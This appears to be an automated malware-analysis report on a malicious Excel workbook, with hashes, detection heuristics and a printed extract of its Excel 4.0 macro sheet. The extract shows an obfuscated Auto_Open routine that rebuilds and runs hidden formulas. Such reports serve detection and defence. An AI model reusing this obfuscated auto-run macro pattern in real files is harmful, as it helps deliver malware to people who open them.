Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a452a45e781a7ff…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:41 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 7693610a8fb10370d9fd6f2f53157fe0 SHA-1: 93aa8e85f2fe437a7d1e7f30c693e9854aadec49 SHA-256: 0a452a45e781a7ff0348f618f594dfcdb0a83ef22b9120aba5a006862ee4893d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6449 bytes
SHA-256: 37935eb4bd439dc14fc286fc858d559781f3e66ff0e88d3b92927c72ccbb4b0d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GzKo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H170 
' 0018     23 LABEL : Cell Value, String Constant - baJLyixX len=0 
' 0018     26 LABEL : Cell Value, String Constant - FYqpQXbzsSz len=0 
' 0018     26 LABEL : Cell Value, String Constant - grZWwJyvVPl len=0 
' 0018     26 LABEL : Cell Value, String Constant - IIxNyKyfcfQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - jcKSiu len=0 
' 0018     24 LABEL : Cell Value, String Constant - JpLXoEfQc len=0 
' 0018     26 LABEL : Cell Value, String Constant - jZtXKIKKmPC len=0 
' 0018     26 LABEL : Cell Value, String Constant - MGyaGQkVNzX len=0 
' 0018     22 LABEL : Cell Value, String Constant - mJaFySO len=0 
' 0018     24 LABEL : Cell Value, String Constant - NAuHaLiak len=0 
' 0018     26 LABEL : Cell Value, String Constant - OqkqoSJAzfn len=0 
' 0018     23 LABEL : Cell Value, String Constant - OYpzNVYJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - qnIQPfDGTFN len=0 
' 0018     24 LABEL : Cell Value, String Constant - qQRKqoOpw len=0 
' 0018     21 LABEL : Cell Value, String Constant - rbNNOu len=0 
' 0018     24 LABEL : Cell Value, String Constant - rdhTitjvS len=0 
' 0018     26 LABEL : Cell Value, String Constant - slipOeHZXae len=0 
' 0018     27 LABEL : Cell Value, String Constant - UuZhiZrFeKLg len=0 
' 0018     21 LABEL : Cell Value, String Constant - VidrEZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - wvfsH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GzKo,H74,"SET.NAME("jcKSiu",VALUE("0"))",""
'  GzKo,H76,"SET.NAME("UuZhiZrFeKLg",jcKSiu)",""
'  GzKo,H81,"SET.NAME("grZWwJyvVPl",jcKSiu)",""
'  GzKo,H84,"SET.NAME("NAuHaLiak",COUNTA(slipOeHZXae))",""
'  GzKo,H88,"SET.NAME("rbNNOu",COUNTA(FYqpQXbzsSz))",""
'  GzKo,H92,[],""
'  GzKo,H95,"SET.NAME("JpLXoEfQc","")",""
'  GzKo,H98,"UuZhiZrFeKLg",""
'  GzKo,H101,"SET.NAME("qnIQPfDGTFN",HLOOKUP("*",slipOeHZXae,UuZhiZrFeKLg,FALSE))",""
'  GzKo,H103,"OqkqoSJAzfn",""
'  GzKo,H108,"SET.NAME("MGyaGQkVNzX",jcKSiu)",""
'  GzKo,H113,[],""
'  GzKo,H118,"MGyaGQkVNzX",""
'  GzKo,H120,"VidrEZ",""
'  GzKo,H125,"IIxNyKyfcfQ",""
'  GzKo,H130,"jZtXKIKKmPC",""
'  GzKo,H133,"SET.NAME("wvfsH",VALUE(HLOOKUP("*",FYqpQXbzsSz,jZtXKIKKmPC,FALSE)))",""
'  GzKo,H137,"mJaFySO",""
'  GzKo,H139,"JpLXoEfQc",""
'  GzKo,H142,"grZWwJyvVPl",""
'  GzKo,H146,NEXT(),""
'  GzKo,H150,"baJLyixX",""
'  GzKo,H154,"SET.NAME("f",INT(T(FORMULA(T(JpLXoEfQc)&"",""&T(baJLyixX)))))",""
'  GzKo,H157,"rdhTitjvS",""
'  GzKo,H160,NEXT(),""
'  GzKo,H165,RETURN(),""
'  GzKo,H192,"SET.NAME("OYpzNVYJ",H74)",""
'  GzKo,H197,"slipOeHZXae",""
'  GzKo,H200,"SET.NAME("FYqpQXbzsSz",R67C14)",""
'  GzKo,H205,"SET.NAME("rdhTitjvS",211)",""
'  GzKo,H208,"SET.NAME("qQRKqoOpw",8)",""
'  GzKo,H210,OYpzNVYJ(),""
'  GzKo,H211,HALT(),""

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